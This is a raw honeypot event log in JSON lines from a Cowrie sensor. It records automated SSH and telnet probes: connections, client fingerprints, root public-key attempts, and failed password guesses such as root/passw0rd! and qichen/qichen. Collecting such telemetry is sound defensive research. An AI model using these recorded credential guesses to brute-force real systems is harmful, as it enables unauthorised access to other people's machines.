{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:73:d7:20:c2:57:5a:3c:07:82:25:ac:fe:20:b4:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRFJepp8MfC4QCIYbBQkMCvc0Hy8siaa+VSQq615HiODl3zPvWTj3prTWm/KvXIKSB19hixlMhGbBe0t2Z6gz2tmhr8oG/Q+sJP55CDHhlUJIsBqa8qnM96lP9RrjDyBabRkkPsHUFepHxssVfMgQ1aU4CySzYsGnQC71Lce9XtJBaFo0hiFmcYvmmAqe2f1i4otPDeeelmawyHy10YCu6gBXkaYYyyJe78aUEULQjk963BYkmNIJ81GXkb0/W98FmZahpjancBXGQGaJkixehHKC9X/gMu8+Y4Pp/igZdhZdBCdVt0QlNn8zXOlSHk+Xq1upfwoDK7I1H511zfMsD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:73:d7:20:c2:57:5a:3c:07:82:25:ac:fe:20:b4:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:07.654354Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:73:d7:20:c2:57:5a:3c:07:82:25:ac:fe:20:b4:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCRFJepp8MfC4QCIYbBQkMCvc0Hy8siaa+VSQq615HiODl3zPvWTj3prTWm/KvXIKSB19hixlMhGbBe0t2Z6gz2tmhr8oG/Q+sJP55CDHhlUJIsBqa8qnM96lP9RrjDyBabRkkPsHUFepHxssVfMgQ1aU4CySzYsGnQC71Lce9XtJBaFo0hiFmcYvmmAqe2f1i4otPDeeelmawyHy10YCu6gBXkaYYyyJe78aUEULQjk963BYkmNIJ81GXkb0/W98FmZahpjancBXGQGaJkixehHKC9X/gMu8+Y4Pp/igZdhZdBCdVt0QlNn8zXOlSHk+Xq1upfwoDK7I1H511zfMsD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:07.658600Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:a3:dc:6c:37:ed:a3:51:6e:43:1b:6b:c8:07:85:ce","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAINHZHbx5PC5deVAiKEoxob/kedR9AbONUHPubNClQt8qGL+tXHfDxZ94D6MgAMzcg8sVCOKkCWJXsHdUbrRQTh6T+i747LIk4cxaJ2z1pGinm3unP+3tb1PMvk8rNmu04QeEtiN4v+8J+lyOJPyjAJOiiMGTxAqusaXnLZPzfl5AAAAFQD3fE2hyxsUFmryf0VcRp8WAJboewAAAIB1y9RltQs1odrLOou25oQ3IbOnQes7s/aulmGsXpI5eXni3CtG3QKTL8KVa2VE+eoe0L8RR5s+WdFqxRZygtARVkxItUTMlAGAKtNd/wuXr98yxLgR0LeZR+vqu5i78BNU5po3Kv+KPb2n5Hp7QoSUPc2FMPAqGw855JxUe6xR3gAAAIBF/uy3XDVmyrToyir6dmYHhg6tsmiYmbp4g1Jf6/l77FsfKcaU34Aa1Or/GngXGZDjRWOhChcQMM/S4SM+X6lB4QWXO7T7ZzcvHmop7dQM3rIEXwdx97YzcL94sh21rgoVPQ+EWjvQjuwQuKI8VsXc4JNLFcdYO84pwyhHccd7wQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c4:a3:dc:6c:37:ed:a3:51:6e:43:1b:6b:c8:07:85:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:07.900388Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:a3:dc:6c:37:ed:a3:51:6e:43:1b:6b:c8:07:85:ce","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAINHZHbx5PC5deVAiKEoxob/kedR9AbONUHPubNClQt8qGL+tXHfDxZ94D6MgAMzcg8sVCOKkCWJXsHdUbrRQTh6T+i747LIk4cxaJ2z1pGinm3unP+3tb1PMvk8rNmu04QeEtiN4v+8J+lyOJPyjAJOiiMGTxAqusaXnLZPzfl5AAAAFQD3fE2hyxsUFmryf0VcRp8WAJboewAAAIB1y9RltQs1odrLOou25oQ3IbOnQes7s/aulmGsXpI5eXni3CtG3QKTL8KVa2VE+eoe0L8RR5s+WdFqxRZygtARVkxItUTMlAGAKtNd/wuXr98yxLgR0LeZR+vqu5i78BNU5po3Kv+KPb2n5Hp7QoSUPc2FMPAqGw855JxUe6xR3gAAAIBF/uy3XDVmyrToyir6dmYHhg6tsmiYmbp4g1Jf6/l77FsfKcaU34Aa1Or/GngXGZDjRWOhChcQMM/S4SM+X6lB4QWXO7T7ZzcvHmop7dQM3rIEXwdx97YzcL94sh21rgoVPQ+EWjvQjuwQuKI8VsXc4JNLFcdYO84pwyhHccd7wQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:07.904562Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:33:e3:93:03:7f:f5:62:35:a5:6b:1e:31:11:e2:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPOr7hRN79w943Be6cA5m4BHikwWb+o+NHrZZu1k0TtCuUfmig9Ql3FG2O+OD2Oqtg+KkLtwXbDnPCHFZ+9TVuJ2drjajnAHQ1HIQNGRNXOhD3kvb9/P3wnvA3eQ//P4XfBmn8nx469Paqx9owHWs6lV5gKr/G2hwUQokJRSRioGFPbdRsOOkgMA3G25lnD4sbOiPGOJA9zl5LPyXJXypetsjVZduFoyAPX1GppCpBJY/UcenOqUVAwhrXvkiuVqrOdCqeZLMylCx4VnyGgrUBB2qB80CY+EO6V/68qfezZffCq2QhjtFefMNIoNL5mrIaoP77RaYenp4NNdthTFvd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:33:e3:93:03:7f:f5:62:35:a5:6b:1e:31:11:e2:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:08.142626Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:33:e3:93:03:7f:f5:62:35:a5:6b:1e:31:11:e2:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPOr7hRN79w943Be6cA5m4BHikwWb+o+NHrZZu1k0TtCuUfmig9Ql3FG2O+OD2Oqtg+KkLtwXbDnPCHFZ+9TVuJ2drjajnAHQ1HIQNGRNXOhD3kvb9/P3wnvA3eQ//P4XfBmn8nx469Paqx9owHWs6lV5gKr/G2hwUQokJRSRioGFPbdRsOOkgMA3G25lnD4sbOiPGOJA9zl5LPyXJXypetsjVZduFoyAPX1GppCpBJY/UcenOqUVAwhrXvkiuVqrOdCqeZLMylCx4VnyGgrUBB2qB80CY+EO6V/68qfezZffCq2QhjtFefMNIoNL5mrIaoP77RaYenp4NNdthTFvd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:08.149058Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:d6:34:ea:be:18:01:ee:53:27:d3:95:6d:b5:c1:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq1dzhCpu6aa0XiF8glRBYTjwF4bV1ESW7bEBa3WabNrPIViwxbq1qh2sTpAw5DR0t0nx7nmbKaJKQz7182kcMRlPESAUXGZ/XYYBQeDy10aocQ9SfaVLDXSfI4U2hSn8Kj1KwrBlmzsfJffI2h0hoj1vYw833Lg+kkucARBrZvRw5wIASphdS6rtii8FprRu7RQ84yPCQJLljf9Hci78lmtrZ+f9NgwebuuhPc9lVtE5scgwOXxP9F022pB0T4MGNkBzhFDGmZSRahwFXMSDxySAq4MSMKepbBJ/aqizXhwje3v1VLpPucu2bXaCZYNtpVSbuelFv/Q1rqXTKVVp9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:d6:34:ea:be:18:01:ee:53:27:d3:95:6d:b5:c1:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:08.392011Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:d6:34:ea:be:18:01:ee:53:27:d3:95:6d:b5:c1:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq1dzhCpu6aa0XiF8glRBYTjwF4bV1ESW7bEBa3WabNrPIViwxbq1qh2sTpAw5DR0t0nx7nmbKaJKQz7182kcMRlPESAUXGZ/XYYBQeDy10aocQ9SfaVLDXSfI4U2hSn8Kj1KwrBlmzsfJffI2h0hoj1vYw833Lg+kkucARBrZvRw5wIASphdS6rtii8FprRu7RQ84yPCQJLljf9Hci78lmtrZ+f9NgwebuuhPc9lVtE5scgwOXxP9F022pB0T4MGNkBzhFDGmZSRahwFXMSDxySAq4MSMKepbBJ/aqizXhwje3v1VLpPucu2bXaCZYNtpVSbuelFv/Q1rqXTKVVp9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:08.395983Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.20479130744934,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:08.504414Z","src_ip":"152.42.224.71","session":"e16a1a414408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:08.633326Z","src_ip":"64.120.94.133","session":"f4c8477a1218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.57078576087952,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:10.944627Z","src_ip":"152.42.224.71","session":"028fc255cb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36894178390503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:12.688360Z","src_ip":"152.42.224.71","session":"621c8216ad67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.528767108917236,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:13.803609Z","src_ip":"152.42.224.71","session":"1ac12453a0c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.57632064819336,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:15.147780Z","src_ip":"152.42.224.71","session":"a3f8c2e4dd5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35140,"dst_ip":"10.17.0.5","dst_port":23,"session":"d083c8216199","protocol":"telnet","message":"New connection: 152.42.224.71:35140 (10.17.0.5:23) [session: d083c8216199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:15.194561Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.83","src_port":51686,"dst_ip":"159.203.135.109","dst_port":23,"session":"7549060b093a","protocol":"telnet","message":"New connection: 66.132.195.83:51686 (159.203.135.109:23) [session: 7549060b093a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:15.772949Z"}
{"eventid":"cowrie.session.closed","duration":21.850184202194214,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:16.717958Z","src_ip":"66.132.186.204","session":"c8ec93204ab4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.204","src_port":40540,"dst_ip":"159.203.135.109","dst_port":23,"session":"8110e9466d3d","protocol":"telnet","message":"New connection: 66.132.186.204:40540 (159.203.135.109:23) [session: 8110e9466d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:20.617059Z"}
{"eventid":"cowrie.session.closed","duration":32.598092794418335,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:23.198440Z","src_ip":"152.42.224.71","session":"9e0d3541dcb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.73160719871521,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:24.348453Z","src_ip":"66.132.186.204","session":"8110e9466d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18f0c242cd9","protocol":"telnet","message":"New connection: 152.42.224.71:45814 (10.17.0.5:23) [session: e18f0c242cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:25.931816Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45822,"dst_ip":"10.17.0.5","dst_port":23,"session":"721fd1604655","protocol":"telnet","message":"New connection: 152.42.224.71:45822 (10.17.0.5:23) [session: 721fd1604655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:26.498869Z"}
{"eventid":"cowrie.session.closed","duration":46.6668860912323,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:26.976243Z","src_ip":"152.42.224.71","session":"4e5d7ce4df86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.204","src_port":7568,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cce773bd265","protocol":"telnet","message":"New connection: 66.132.186.204:7568 (159.203.135.109:23) [session: 1cce773bd265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:30.325318Z"}
{"eventid":"cowrie.session.closed","duration":17.66720676422119,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:33.440025Z","src_ip":"66.132.195.83","session":"7549060b093a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45834,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce66005a8424","protocol":"telnet","message":"New connection: 152.42.224.71:45834 (10.17.0.5:23) [session: ce66005a8424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:33.763156Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.83","src_port":39210,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f694ec6114b","protocol":"telnet","message":"New connection: 66.132.195.83:39210 (159.203.135.109:23) [session: 0f694ec6114b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:37.861313Z"}
{"eventid":"cowrie.session.closed","duration":10.349716663360596,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:40.675073Z","src_ip":"66.132.186.204","session":"1cce773bd265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8449859619140625,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:41.706171Z","src_ip":"66.132.195.83","session":"0f694ec6114b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36908,"dst_ip":"10.17.0.5","dst_port":22,"session":"09a8635191e8","protocol":"ssh","message":"New connection: 87.251.79.125:36908 (10.17.0.5:22) [session: 09a8635191e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:42.917091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:42.921668Z","src_ip":"87.251.79.125","session":"09a8635191e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:42.994464Z","src_ip":"87.251.79.125","session":"09a8635191e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5ta","message":"login attempt [root/1q2w3e4r5ta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:43.213799Z","src_ip":"87.251.79.125","session":"09a8635191e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":39014,"dst_ip":"159.203.135.109","dst_port":22,"session":"6475cb50f453","protocol":"ssh","message":"New connection: 43.156.28.136:39014 (159.203.135.109:22) [session: 6475cb50f453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:43.301572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:43.305476Z","src_ip":"43.156.28.136","session":"6475cb50f453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:43.550474Z","src_ip":"43.156.28.136","session":"6475cb50f453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:44.288777Z","src_ip":"87.251.79.125","session":"09a8635191e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qichen","password":"qichen","message":"login attempt [qichen/qichen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:44.564991Z","src_ip":"43.156.28.136","session":"6475cb50f453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:45.813729Z","src_ip":"43.156.28.136","session":"6475cb50f453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.83","src_port":49302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89fa508ea59","protocol":"telnet","message":"New connection: 66.132.195.83:49302 (159.203.135.109:23) [session: c89fa508ea59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:47.436938Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":32946,"dst_ip":"159.203.135.109","dst_port":22,"session":"b703c4deb9e4","protocol":"ssh","message":"New connection: 43.133.62.188:32946 (159.203.135.109:22) [session: b703c4deb9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:50.344701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:50.349585Z","src_ip":"43.133.62.188","session":"b703c4deb9e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:50.586848Z","src_ip":"43.133.62.188","session":"b703c4deb9e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd!","message":"login attempt [root/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:51.569162Z","src_ip":"43.133.62.188","session":"b703c4deb9e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.4856858253479,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:52.679845Z","src_ip":"152.42.224.71","session":"d083c8216199","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:52.810538Z","src_ip":"43.133.62.188","session":"b703c4deb9e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":44848,"dst_ip":"159.203.135.109","dst_port":22,"session":"96272fe00387","protocol":"ssh","message":"New connection: 103.82.132.16:44848 (159.203.135.109:22) [session: 96272fe00387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:55.129195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:35:55.141467Z","src_ip":"103.82.132.16","session":"96272fe00387","protocol":"ssh"}
